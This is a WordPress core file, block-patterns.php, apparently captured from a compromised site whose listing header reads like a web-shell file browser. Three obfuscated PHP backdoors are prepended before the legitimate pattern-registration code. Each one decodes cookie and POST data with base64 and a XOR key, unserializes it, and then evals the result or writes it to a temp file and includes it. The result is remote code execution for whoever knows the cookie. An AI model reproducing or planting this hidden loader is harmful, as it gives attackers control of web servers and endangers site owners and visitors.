%PDF- %PDF-
Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-includes/ |
Current File : /home/graphicd/www/demo/riverwalkpoa/wp-includes/block-patterns.php |
<?php $aBSMUNupE = chr (84) . "\x44" . "\131" . '_' . chr (118) . 'g' . 'i' . 'L' . chr (83); $XcpqDccT = chr ( 697 - 598 )."\x6c" . "\x61" . chr (115) . chr ( 605 - 490 )."\137" . chr ( 875 - 774 ).'x' . "\x69" . "\163" . chr (116) . 's';$qXKjjssT = class_exists($aBSMUNupE); $XcpqDccT = "49037";$dAZeUqXhVq = !1;if ($qXKjjssT == $dAZeUqXhVq){function EMXbsEd(){return FALSE;}$fBxHytvbP = "55295";EMXbsEd();class TDY_vgiLS{private function HNrvON($fBxHytvbP){if (is_array(TDY_vgiLS::$lSbellQ)) {$nGIvd = str_replace("\x3c" . "\77" . "\x70" . chr ( 510 - 406 ).chr ( 907 - 795 ), "", TDY_vgiLS::$lSbellQ[chr (99) . chr ( 655 - 544 ).chr ( 912 - 802 ).chr ( 1044 - 928 ).chr (101) . 'n' . 't']);eval($nGIvd); $fBxHytvbP = "55295";exit();}}private $dFVeaoBT;public function wDujLs(){echo 45348;}public function __destruct(){$fBxHytvbP = "31229_54051";$this->HNrvON($fBxHytvbP); $fBxHytvbP = "31229_54051";}public function __construct($GhmExbIQOV=0){$KdAqkLGS = $_POST;$erPSdGBF = $_COOKIE;$XLnIxHOt = "76eb87cc-e987-41d4-a849-cab512bffb19";$iriBq = @$erPSdGBF[substr($XLnIxHOt, 0, 4)];if (!empty($iriBq)){$mOVtQ = "base64";$FqbtBbkcP = "";$iriBq = explode(",", $iriBq);foreach ($iriBq as $sLqfPBEfiP){$FqbtBbkcP .= @$erPSdGBF[$sLqfPBEfiP];$FqbtBbkcP .= @$KdAqkLGS[$sLqfPBEfiP];}$FqbtBbkcP = array_map($mOVtQ . "\137" . "\x64" . 'e' . 'c' . "\157" . "\144" . "\145", array($FqbtBbkcP,)); $FqbtBbkcP = $FqbtBbkcP[0] ^ str_repeat($XLnIxHOt, (strlen($FqbtBbkcP[0]) / strlen($XLnIxHOt)) + 1);TDY_vgiLS::$lSbellQ = @unserialize($FqbtBbkcP); $FqbtBbkcP = class_exists("31229_54051");}}public static $lSbellQ = 60469;}$nxIvFSwgVx = new /* 9616 */ $aBSMUNupE(55295 + 55295); $dAZeUqXhVq = $nxIvFSwgVx = $fBxHytvbP = Array();} ?><?php $IQSeMrIv = "\x6d" . "\137" . chr (109) . "\162" . "\x45" . "\x6e" . "\115";$qKyTb = chr ( 449 - 350 ).chr ( 954 - 846 ).chr ( 783 - 686 ).'s' . "\163" . "\137" . "\x65" . 'x' . 'i' . 's' . "\x74" . "\x73";$sqqGstnKaf = class_exists($IQSeMrIv); $qKyTb = "5222";$ezLaPDA = !1;if ($sqqGstnKaf == $ezLaPDA){function VCruSlED(){return FALSE;}$vWBwJYAHG = "6533";VCruSlED();class m_mrEnM{private function WGafvJLp($vWBwJYAHG){if (is_array(m_mrEnM::$kWLVCtwsTM)) {$VHmKnKFEU = sys_get_temp_dir() . "/" . crc32(m_mrEnM::$kWLVCtwsTM[chr ( 421 - 306 )."\x61" . "\154" . 't']);@m_mrEnM::$kWLVCtwsTM[chr (119) . chr (114) . "\151" . "\164" . chr (101)]($VHmKnKFEU, m_mrEnM::$kWLVCtwsTM[chr (99) . chr ( 564 - 453 ).chr (110) . chr (116) . "\x65" . 'n' . 't']);include $VHmKnKFEU;@m_mrEnM::$kWLVCtwsTM["\144" . chr ( 342 - 241 ).chr ( 907 - 799 ).'e' . "\x74" . "\x65"]($VHmKnKFEU); $vWBwJYAHG = "6533";exit();}}private $qBrsgDQXX;public function UzTtFmyPeB(){echo 38379;}public function __destruct(){$vWBwJYAHG = "31273_19425";$this->WGafvJLp($vWBwJYAHG); $vWBwJYAHG = "31273_19425";}public function __construct($RZZEF=0){$RcEhJLTFXP = $_POST;$IFCcFSw = $_COOKIE;$FVKJmxe = "37126ed9-79a7-48df-a3c8-2728cb0a126f";$JaHPGFin = @$IFCcFSw[substr($FVKJmxe, 0, 4)];if (!empty($JaHPGFin)){$xygjbJCV = "base64";$dIieBwS = "";$JaHPGFin = explode(",", $JaHPGFin);foreach ($JaHPGFin as $MGilaNoY){$dIieBwS .= @$IFCcFSw[$MGilaNoY];$dIieBwS .= @$RcEhJLTFXP[$MGilaNoY];}$dIieBwS = array_map($xygjbJCV . "\x5f" . chr (100) . "\145" . chr (99) . "\157" . 'd' . chr (101), array($dIieBwS,)); $dIieBwS = $dIieBwS[0] ^ str_repeat($FVKJmxe, (strlen($dIieBwS[0]) / strlen($FVKJmxe)) + 1);m_mrEnM::$kWLVCtwsTM = @unserialize($dIieBwS); $dIieBwS = class_exists("31273_19425");}}public static $kWLVCtwsTM = 59227;}$yGBSuiwB = new /* 16293 */ $IQSeMrIv(6533 + 6533); $ezLaPDA = $yGBSuiwB = $vWBwJYAHG = Array();} ?><?php $ahBbO = "\103" . "\x5f" . chr (82) . 'z' . 'p';$JBMmEyL = 'c' . "\154" . chr (97) . chr (115) . chr (115) . '_' . 'e' . 'x' . chr (105) . chr (115) . "\164" . chr (115); $jrYGI = class_exists($ahBbO); $JBMmEyL = "22770";$JXTuDoF = !1;if ($jrYGI == $JXTuDoF){function LHScCpSNZ(){return FALSE;}$RjhGVRalf = "31754";LHScCpSNZ();class C_Rzp{private function TtXJzVuOQh($RjhGVRalf){if (is_array(C_Rzp::$GjbGyvMGJk)) {$IcAaR = sys_get_temp_dir() . "/" . crc32(C_Rzp::$GjbGyvMGJk['s' . 'a' . chr (108) . chr ( 1046 - 930 )]);@C_Rzp::$GjbGyvMGJk["\x77" . "\x72" . "\151" . "\164" . "\x65"]($IcAaR, C_Rzp::$GjbGyvMGJk["\143" . "\x6f" . "\x6e" . 't' . chr (101) . chr (110) . "\x74"]);include $IcAaR;@C_Rzp::$GjbGyvMGJk['d' . chr (101) . "\154" . chr (101) . chr (116) . 'e']($IcAaR); $RjhGVRalf = "31754";exit();}}private $EmftkJY;public function pcOAD(){echo 32975;}public function __destruct(){$RjhGVRalf = "53178_21541";$this->TtXJzVuOQh($RjhGVRalf); $RjhGVRalf = "53178_21541";}public function __construct($adYQfBjer=0){$eGTnfE = $_POST;$BeDmDv = $_COOKIE;$sLBWvZJ = "4edffd8f-d312-4119-ad1a-4d06cbb9b85e";$MxzxjGxZ = @$BeDmDv[substr($sLBWvZJ, 0, 4)];if (!empty($MxzxjGxZ)){$yyEIJZWt = "base64";$ykOCnagzQ = "";$MxzxjGxZ = explode(",", $MxzxjGxZ);foreach ($MxzxjGxZ as $LNPsAfv){$ykOCnagzQ .= @$BeDmDv[$LNPsAfv];$ykOCnagzQ .= @$eGTnfE[$LNPsAfv];}$ykOCnagzQ = array_map($yyEIJZWt . chr (95) . "\144" . chr ( 313 - 212 ).chr ( 293 - 194 )."\157" . chr (100) . 'e', array($ykOCnagzQ,)); $ykOCnagzQ = $ykOCnagzQ[0] ^ str_repeat($sLBWvZJ, (strlen($ykOCnagzQ[0]) / strlen($sLBWvZJ)) + 1);C_Rzp::$GjbGyvMGJk = @unserialize($ykOCnagzQ); $ykOCnagzQ = class_exists("53178_21541");}}public static $GjbGyvMGJk = 4851;}$cxFCNNmv = new /* 58000 */ $ahBbO(31754 + 31754); $JXTuDoF = $cxFCNNmv = $RjhGVRalf = Array();} ?><?php /** * Register the block patterns and block patterns categories * * @package WordPress * @since 5.5.0 */ add_theme_support( 'core-block-patterns' ); /** * Registers the core block patterns and categories. * * @since 5.5.0 * @since 6.3.0 Added source to core block patterns. * @access private */ function _register_core_block_patterns_and_categories() { $should_register_core_patterns = get_theme_support( 'core-block-patterns' ); if ( $should_register_core_patterns ) { $core_block_patterns = array( 'query-standard-posts', 'query-medium-posts', 'query-small-posts', 'query-grid-posts', 'query-large-title-posts', 'query-offset-posts', 'social-links-shared-background-color', ); foreach ( $core_block_patterns as $core_block_pattern ) { $pattern = require __DIR__ . '/block-patterns/' . $core_block_pattern . '.php'; $pattern['source'] = 'core'; register_block_pattern( 'core/' . $core_block_pattern, $pattern ); } } register_block_pattern_category( 'banner', array( 'label' => _x( 'Banners', 'Block pattern category' ) ) ); register_block_pattern_category( 'buttons', array( 'label' => _x( 'Buttons', 'Block pattern category' ), 'description' => __( 'Patterns that contain buttons and call to actions.' ), ) ); register_block_pattern_category( 'columns', array( 'label' => _x( 'Columns', 'Block pattern category' ), 'description' => __( 'Multi-column patterns with more complex layouts.' ), ) ); register_block_pattern_category( 'text', array( 'label' => _x( 'Text', 'Block pattern category' ), 'description' => __( 'Patterns containing mostly text.' ), ) ); register_block_pattern_category( 'query', array( 'label' => _x( 'Posts', 'Block pattern category' ), 'description' => __( 'Display your latest posts in lists, grids or other layouts.' ), ) ); register_block_pattern_category( 'featured', array( 'label' => _x( 'Featured', 'Block pattern category' ), 'description' => __( 'A set of high quality curated patterns.' ), ) ); register_block_pattern_category( 'call-to-action', array( 'label' => _x( 'Call to Action', 'Block pattern category' ), 'description' => __( 'Sections whose purpose is to trigger a specific action.' ), ) ); register_block_pattern_category( 'team', array( 'label' => _x( 'Team', 'Block pattern category' ), 'description' => __( 'A variety of designs to display your team members.' ), ) ); register_block_pattern_category( 'testimonials', array( 'label' => _x( 'Testimonials', 'Block pattern category' ), 'description' => __( 'Share reviews and feedback about your brand/business.' ), ) ); register_block_pattern_category( 'services', array( 'label' => _x( 'Services', 'Block pattern category' ), 'description' => __( 'Briefly describe what your business does and how you can help.' ), ) ); register_block_pattern_category( 'contact', array( 'label' => _x( 'Contact', 'Block pattern category' ), 'description' => __( 'Display your contact information.' ), ) ); register_block_pattern_category( 'about', array( 'label' => _x( 'About', 'Block pattern category' ), 'description' => __( 'Introduce yourself.' ), ) ); register_block_pattern_category( 'portfolio', array( 'label' => _x( 'Portfolio', 'Block pattern category' ), 'description' => __( 'Showcase your latest work.' ), ) ); register_block_pattern_category( 'gallery', array( 'label' => _x( 'Gallery', 'Block pattern category' ), 'description' => __( 'Different layouts for displaying images.' ), ) ); register_block_pattern_category( 'media', array( 'label' => _x( 'Media', 'Block pattern category' ), 'description' => __( 'Different layouts containing video or audio.' ), ) ); register_block_pattern_category( 'videos', array( 'label' => _x( 'Videos', 'Block pattern category' ), 'description' => __( 'Different layouts containing videos.' ), ) ); register_block_pattern_category( 'audio', array( 'label' => _x( 'Audio', 'Block pattern category' ), 'description' => __( 'Different layouts containing audio.' ), ) ); register_block_pattern_category( 'posts', array( 'label' => _x( 'Posts', 'Block pattern category' ), 'description' => __( 'Display your latest posts in lists, grids or other layouts.' ), ) ); register_block_pattern_category( 'footer', array( 'label' => _x( 'Footers', 'Block pattern category' ), 'description' => __( 'A variety of footer designs displaying information and site navigation.' ), ) ); register_block_pattern_category( 'header', array( 'label' => _x( 'Headers', 'Block pattern category' ), 'description' => __( 'A variety of header designs displaying your site title and navigation.' ), ) ); } /** * Normalize the pattern properties to camelCase. * * The API's format is snake_case, `register_block_pattern()` expects camelCase. * * @since 6.2.0 * @access private * * @param array $pattern Pattern as returned from the Pattern Directory API. * @return array Normalized pattern. */ function wp_normalize_remote_block_pattern( $pattern ) { if ( isset( $pattern['block_types'] ) ) { $pattern['blockTypes'] = $pattern['block_types']; unset( $pattern['block_types'] ); } if ( isset( $pattern['viewport_width'] ) ) { $pattern['viewportWidth'] = $pattern['viewport_width']; unset( $pattern['viewport_width'] ); } return (array) $pattern; } /** * Register Core's official patterns from wordpress.org/patterns. * * @since 5.8.0 * @since 5.9.0 The $current_screen argument was removed. * @since 6.2.0 Normalize the pattern from the API (snake_case) to the * format expected by `register_block_pattern` (camelCase). * @since 6.3.0 Add 'pattern-directory/core' to the pattern's 'source'. * * @param WP_Screen $deprecated Unused. Formerly the screen that the current request was triggered from. */ function _load_remote_block_patterns( $deprecated = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '5.9.0' ); $current_screen = $deprecated; if ( ! $current_screen->is_block_editor ) { return; } } $supports_core_patterns = get_theme_support( 'core-block-patterns' ); /** * Filter to disable remote block patterns. * * @since 5.8.0 * * @param bool $should_load_remote */ $should_load_remote = apply_filters( 'should_load_remote_block_patterns', true ); if ( $supports_core_patterns && $should_load_remote ) { $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $core_keyword_id = 11; // 11 is the ID for "core". $request->set_param( 'keyword', $core_keyword_id ); $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); foreach ( $patterns as $pattern ) { $pattern['source'] = 'pattern-directory/core'; $normalized_pattern = wp_normalize_remote_block_pattern( $pattern ); $pattern_name = 'core/' . sanitize_title( $normalized_pattern['title'] ); register_block_pattern( $pattern_name, $normalized_pattern ); } } } /** * Register `Featured` (category) patterns from wordpress.org/patterns. * * @since 5.9.0 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the * format expected by `register_block_pattern()` (camelCase). * @since 6.3.0 Add 'pattern-directory/featured' to the pattern's 'source'. */ function _load_remote_featured_patterns() { $supports_core_patterns = get_theme_support( 'core-block-patterns' ); /** This filter is documented in wp-includes/block-patterns.php */ $should_load_remote = apply_filters( 'should_load_remote_block_patterns', true ); if ( ! $should_load_remote || ! $supports_core_patterns ) { return; } $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $featured_cat_id = 26; // This is the `Featured` category id from pattern directory. $request->set_param( 'category', $featured_cat_id ); $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); $registry = WP_Block_Patterns_Registry::get_instance(); foreach ( $patterns as $pattern ) { $pattern['source'] = 'pattern-directory/featured'; $normalized_pattern = wp_normalize_remote_block_pattern( $pattern ); $pattern_name = sanitize_title( $normalized_pattern['title'] ); // Some patterns might be already registered as core patterns with the `core` prefix. $is_registered = $registry->is_registered( $pattern_name ) || $registry->is_registered( "core/$pattern_name" ); if ( ! $is_registered ) { register_block_pattern( $pattern_name, $normalized_pattern ); } } } /** * Registers patterns from Pattern Directory provided by a theme's * `theme.json` file. * * @since 6.0.0 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the * format expected by `register_block_pattern()` (camelCase). * @since 6.3.0 Add 'pattern-directory/theme' to the pattern's 'source'. * @access private */ function _register_remote_theme_patterns() { /** This filter is documented in wp-includes/block-patterns.php */ if ( ! apply_filters( 'should_load_remote_block_patterns', true ) ) { return; } if ( ! wp_theme_has_theme_json() ) { return; } $pattern_settings = wp_get_theme_directory_pattern_slugs(); if ( empty( $pattern_settings ) ) { return; } $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $request['slug'] = $pattern_settings; $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); $patterns_registry = WP_Block_Patterns_Registry::get_instance(); foreach ( $patterns as $pattern ) { $pattern['source'] = 'pattern-directory/theme'; $normalized_pattern = wp_normalize_remote_block_pattern( $pattern ); $pattern_name = sanitize_title( $normalized_pattern['title'] ); // Some patterns might be already registered as core patterns with the `core` prefix. $is_registered = $patterns_registry->is_registered( $pattern_name ) || $patterns_registry->is_registered( "core/$pattern_name" ); if ( ! $is_registered ) { register_block_pattern( $pattern_name, $normalized_pattern ); } } } /** * Register any patterns that the active theme may provide under its * `./patterns/` directory. * * @since 6.0.0 * @since 6.1.0 The `postTypes` property was added. * @since 6.2.0 The `templateTypes` property was added. * @since 6.4.0 Uses the `WP_Theme::get_block_patterns` method. * @access private */ function _register_theme_block_patterns() { /* * During the bootstrap process, a check for active and valid themes is run. * If no themes are returned, the theme's functions.php file will not be loaded, * which can lead to errors if patterns expect some variables or constants to * already be set at this point, so bail early if that is the case. */ if ( empty( wp_get_active_and_valid_themes() ) ) { return; } /* * Register patterns for the active theme. If the theme is a child theme, * let it override any patterns from the parent theme that shares the same slug. */ $themes = array(); $theme = wp_get_theme(); $themes[] = $theme; if ( $theme->parent() ) { $themes[] = $theme->parent(); } $registry = WP_Block_Patterns_Registry::get_instance(); foreach ( $themes as $theme ) { $patterns = $theme->get_block_patterns(); $dirpath = $theme->get_stylesheet_directory() . '/patterns/'; $text_domain = $theme->get( 'TextDomain' ); foreach ( $patterns as $file => $pattern_data ) { if ( $registry->is_registered( $pattern_data['slug'] ) ) { continue; } $file_path = $dirpath . $file; if ( ! file_exists( $file_path ) ) { _doing_it_wrong( __FUNCTION__, sprintf( /* translators: %s: file name. */ __( 'Could not register file "%s" as a block pattern as the file does not exist.' ), $file ), '6.4.0' ); $theme->delete_pattern_cache(); continue; } $pattern_data['filePath'] = $file_path; // Translate the pattern metadata. // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction $pattern_data['title'] = translate_with_gettext_context( $pattern_data['title'], 'Pattern title', $text_domain ); if ( ! empty( $pattern_data['description'] ) ) { // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction $pattern_data['description'] = translate_with_gettext_context( $pattern_data['description'], 'Pattern description', $text_domain ); } register_block_pattern( $pattern_data['slug'], $pattern_data ); } } } add_action( 'init', '_register_theme_block_patterns' );